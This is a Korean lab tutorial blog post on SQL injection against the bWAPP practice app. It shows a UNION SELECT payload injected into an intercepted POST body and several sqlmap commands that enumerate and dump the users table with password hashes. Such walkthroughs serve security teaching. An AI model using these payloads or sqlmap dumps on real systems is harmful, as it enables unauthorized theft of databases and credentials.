정보보안(구버전)/ bWAPP 2019. 1. 30. 15:58

웹 해킹 bWAPP - 13. A1 - Injection - SQL Injection(POST/Select)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

1. Injection

 

 - OWASP Top10 A1 - 악의적인 명령 삽입
 - 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를

   획득할 수 있는 취약점이다.
 - Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션

 

 

 

2. GET & POST 차이점

 

  - GET 방식 : Header에 정보(변수)를 포함시킴, 그렇기 때문에 주소창(URL)에 서버로 넘어가는 정보가 보임

 

 


  - POST 방식 : Body에 정보(변수)를 포함시킴, 그렇기 때문에 주소창(URL)에 서버로 넘어가는 정보가 안보임

 



 

3. Injection - SQL Injection(POST/Select)

 

 

Ex1) Injection - SQL Injection(POST/Select) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'World War Z' 선택 -> 'Go' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

13-0. Body 내용 변조-1.txt
HTTP Header & Body 내용 확인 및 Body 내용 변경

 POST /bWAPP/sqli_13.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sqli_13.php

Cookie: security_level=0; PHPSESSID=adc015223eee0ef7aca6ac449d64901d

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 17

 

movie=10&action=go   <- 기존 Body 내용

 

movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users #&action=go  <- 변경 실시

 

 

 

 

Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

SQL 인젝션을 이용한 bWAPP 데이터베이스의 users 테이블(id,login,password,email...) 내용 확인

 

 

 

 

Ex2) 'sqli_13.php' & 'functions_external.php' 파일 내용 확인

 

bee@bee-box:/var/www/bWAPP$ ls -l sqli_13.php
-rw-rw-r-- 1 root www-data 8001 2014-11-02 23:52 sqli_13.php

bee@bee-box:/var/www/bWAPP$ vi sqli_13.php

~ 중간 생략 ~

 

include("functions_external.php");
include("connect.php");

 

if($_COOKIE["security_level"] == "2")
{

 

    header("Location: sqli_13-ps.php");

 

    exit;

}

 

// Selects all the records
$sql = "SELECT * FROM movies";

 

$recordset = mysql_query($sql, $link);

 

function sqli($data)
{

    switch($_COOKIE["security_level"])
    {

        case "0" :

 

            $data = no_check($data);
            break;

 

        case "1" :

 

            $data = sqli_check_2($data);
            break;

 

        default :

 

            $data = no_check($data);
            break;

    }

    return $data;

}
 

:q!


 

bee@bee-box:/var/www/bWAPP$ gedit functions_external.php

~ 중간 생략 ~

 

function sqli_check_1($data)

{

  

    return addslashes($data);

            // 작은따옴표를 문자열로 이스케이프 실시

}

 

function sqli_check_2($data)

{

  

    return mysql_real_escape_string($data);

            // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

               (NULL, \n, \r, \, ', ", ^Z)

}

 

function sqli_check_3($link, $data)

{

  

    return mysqli_real_escape_string($link, $data);

   

}

 

function sqli_check_4($data)

{

 

    // Not bulletproof

   

    // Replaces a single quote (')

    $input = str_replace("'", "''", $data);

  

    return $input;

   

 

 

 

 

Ex3) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시


 

'World War Z' 선택 -> 'Go' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

 

HTTP Header & Body 내용 확인 및 Body 내용 변경

POST /bWAPP/sqli_13-ps.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sqli_13-ps.php

Cookie: security_level=2; PHPSESSID=adc015223eee0ef7aca6ac449d64901d

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

 

movie=10&action=go   <- 기존 Body 내용

 

movie=0 union select all 1, concat(id,login),password,email,secret,6,7 from users #&action=go  <- 변경 실시

 

 

 

 

13-1. Body 내용 변조-2.txt

Body 내용 변조 -> 'Intercept is on'을 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

SQL 인젝션 실패

 

 

 

 

3. SQLmap

 

Ex1) 보안 레벨 'Low' 변경

 

 

보안 레벨 및 시나리오 선택

 

 

 

 

Ex2) SQLmap 설치 확인 및 도움말

 

 

root@kali:~# sqlmap -h
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2#stable}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

Usage: python sqlmap [options]

~ 중간 생략 ~

 

 

root@kali:~# sqlmap -hh
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

Usage: python sqlmap [options]

 

~ 중간 생략 ~

 

 

 

13-2. sqlmap 도움말.txt

자주 사용하는 sqlmap 옵션 명령어

 옵션 명령어

내용

  -v VERBOSE

 Verbosity level: 0-6 (default 1)

 명령어 수행시 출력 수준을 정하는 값

  -u URL

 Target URL (e.g. "http://www.site.com/vuln.php?id=1")

 공격 타겟 주소 지정

  --cookie=COOKIE

 HTTP Cookie header value

 쿠키 값 지정

  --data=DATA 

 Data string to be sent through POST

 POST 방식으로 데이터가 전달될 경우, 해당 데이터 지정

  -p TESTPARAMETER

 Testable parameter(s)

 공격을 수행할 파라메터 지정

  --passwords 

 Enumerate DBMS users password hashes

 사용자 패스워드 해시값 출력

  --dbs 

 Enumerate DBMS databases

 데이터베이스 리스트 출력

  --tables 

 Enumerate DBMS database tables

 데이터베이스 테이블 출력

  --columns

 Enumerate DBMS database table columns

 데이터베이스 테이블의 컬럼 출력

  --dump

 Dump DBMS database table entries

 데이터베이스 테이블 엔트리 덤프

  -D DB

 DBMS database to enumerate

 특정 데이터베이스 지정

  -T TBL

 DBMS database table(s) to enumerate

 특정 테이블 지정

  -C COL

 DBMS database table column(s) to enumerate

 특정 컬럼 지정

 

 

 

 

Ex3) 버프슈트를 이용하여 쿠키값 획득 (실습 진행시 쿠키값이 변경될 수 있으니, 안되면 신규 쿠키 정보 확인)

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'World War Z' 선택 -> 'Go' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

'Intercept is off' 확인

 

 

 

Ex4) SQLmap을 이용한 공격 실시 I

 

 - 인젝션 유형 : SQL Inection(POST/Select)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php

 

13-3. sqlmap 공격-1.txt

 

 

root@kali:~# sqlmap -v 3 -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b8c58e2ba446befcf89de4792a0f6fa6" --data "movie=1&action=go" --dbs
 

~ 중간 생략 ~

 

available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql

 

[17:36:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 17:36:34

 

 

 

 

Ex5) SQLmap을 이용한 공격 실시 II

 

 - 인젝션 유형 : SQL Inection(POST/Select)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php

 

13-4. sqlmap 공격-2.txt

 

 

root@kali:~# sqlmap -v 3 -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=b8c58e2ba446befcf89de4792a0f6fa6" --data "movie=1&action=go" -p "movie" --tables

 

~ 중간 생략 ~

 

Database: bWAPP
[5 tables]
+---------------------------------------+
| blog                                  |
| heroes                                |
| movies                                |
| users                                 |
| visitors                              |
+---------------------------------------+

 

[17:42:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 17:42:00

 

 

 

 

Ex6) SQLmap을 이용한 공격 실시 III

 

 - 인젝션 유형 : SQL Inection(POST/Select)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php

 

13-5. sqlmap 공격-3.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP --tables

 

~ 중간 생략 ~

 

Database: bWAPP                                                               
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+

 

[19:35:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 19:35:15

 

 

 

 

Ex7) SQLmap을 이용한 공격 실시 IV

 

 - 인젝션 유형 : SQL Inection(POST/Select)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_13.php

 

13-6. sqlmap 공격-4.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP -T users --column

 

~ 중간 생략 ~

 

Database: bWAPP                                                               
Table: users
[9 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| activated       | tinyint(1)   |
| activation_code | varchar(100) |
| admin           | tinyint(1)   |
| email           | varchar(100) |
| id              | int(10)      |
| login           | varchar(100) |
| password        | varchar(100) |
| reset_code      | varchar(100) |
| secret          | varchar(100) |
+-----------------+--------------+

 

[19:37:27] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 19:37:27

 

 

 

 

Ex8) SQLmap을 이용한 공격 실시 V

 

 - 인젝션 유형 : SQL Inection(POST/Select)

 - 페이지 : http://192.168.20.205/bWAPP/sqli_13.php

 

13-7. sqlmap 공격-5.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP -T users --dump

 

~ 중간 생략 ~

Database: bWAPP
Table: users
[2 entries]
+----+-------+--------+--------------------------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| id | admin | login  | email                    | secret                              | password                                       | activated | reset_code | activation_code |
+----+-------+--------+--------------------------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| 1  | 1     | A.I.M. | bwapp-aim@mailinator.com | A.I.M. or Authentication Is Missing | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1         | NULL       | NULL            |
| 2  | 1     | bee    | bwapp-bee@mailinator.com | Any bugs?                           | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1         | NULL       | NULL            |
+----+-------+--------+--------------------------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+

[19:44:45] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/users.csv'
[19:44:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 19:44:45

 

 

 

 

Ex9) SQLmap을 이용한 공격 실시 VI

 

 - 인젝션 유형 : SQL Inection(POST/Select)

 - 페이지 : http://192.168.20.205/bWAPP/sqli_13.php

 

13-8. sqlmap 공격-6.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=71d7bfbbfce3777ad3718159cf4ae584" --data "movie=1&action=go" -p "movie" -D bWAPP -T users -C id,login,password --dump

~ 중간 생략 ~

 

Database: bWAPP
Table: users
[2 entries]
+----+--------+------------------------------------------------+
| id | login  | password                                       |
+----+--------+------------------------------------------------+
| 1  | A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| 2  | bee    | 6885858486f31043e5839c735d99457f045affd0 (bug) |

+----+--------+------------------------------------------------+

 

[20:35:41] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.sqlmap/output/192.168.20.205/dump/bWAPP/users.csv'
[20:35:41] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 20:35:41

 

 

 

 

Ex10) sqlmap 로그 확인

 

root@kali:~# ls .sqlmap/
output


root@kali:~# ls .sqlmap/output/
192.168.20.205


root@kali:~# ls .sqlmap/output/192.168.20.205/
dump  log  session.sqlite  target.txt


root@kali:~# ls .sqlmap/output/192.168.20.205/dump/
bWAPP

root@kali:~# ls .sqlmap/output/192.168.20.205/dump/bWAPP/
users.csv  users.csv.1

 

root@kali:~# cat .sqlmap/output/192.168.20.205/dump/bWAPP/users.csv
id,login,password
1,A.I.M.,6885858486f31043e5839c735d99457f045affd0 (bug)
2,bee,6885858486f31043e5839c735d99457f045affd0 (bug)

 

root@kali:~# cat .sqlmap/output/192.168.20.205/dump/bWAPP/users.csv.1
id,admin,login,email,secret,password,activated,reset_code,activation_code
1,1,A.I.M.,bwapp-aim@mailinator.com,A.I.M. or Authentication Is Missing,6885858486f31043e5839c735d99457f045affd0 (bug),1,NULL,NULL
2,1,bee,bwapp-bee@mailinator.com,Any bugs?,6885858486f31043e5839c735d99457f045affd0 (bug),1,NULL,NULL

 

root@kali:~# cat .sqlmap/output/192.168.20.205/log

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


웹해킹 13. bWAPP Injection - SQL Injection(POST&Select)   https://youtu.be/GzpqjOXnhDs

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q